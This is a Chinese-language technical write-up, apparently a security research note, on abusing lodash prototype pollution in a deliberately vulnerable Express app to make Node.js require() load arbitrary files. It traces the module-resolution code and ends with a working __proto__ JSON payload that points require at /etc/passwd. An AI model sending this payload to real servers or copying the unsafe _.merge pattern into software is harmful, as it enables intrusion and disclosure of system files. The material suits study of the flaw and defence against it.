NodeJS Require 任意包
环境配置
这里lodash
用于原型链污染,安装好依赖包以后删除package.json
{
"dependencies": {
"express": "^4.18.2",
"lodash": "^4.17.4"
}
}
var express = require('express');
var _= require('lodash');
const bodyParser = require('body-parser');
var app = express();
app.set('views', __dirname);
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json());
app.post('/', function (req, res) {
console.log(req.body);
_.merge({}, req.body);
require('./pollution.js')
});
app.listen(8081, function () {});
Require任意包
然后我们来仔细看一看这里的readPackageScope
函数
checkPath
一开始为运行的js文件的路径
随后这个函数会逐级检查文件夹,寻找package.json
,如果找不到或者文件夹结尾是node_modules
则返回false
我们之前删除本地的package.json
就是为了使这里返回false
从而上面的pkg
和pkgpath
有了通过原型链污染来控制的机会
接下来继续跟进
这里的packageConfig
就是pkg
,所以是可控的,所以我们可以自己构造出exports
后面的resolvePackageTarget
大意就是去解析一个包
于是我们可以得到一个加载任意包的payload
{
"__proto__": {
"data": {
"name": "./pollution.js",
"exports": {
".":"./passwd"
}
},
"path": "/etc"
}
}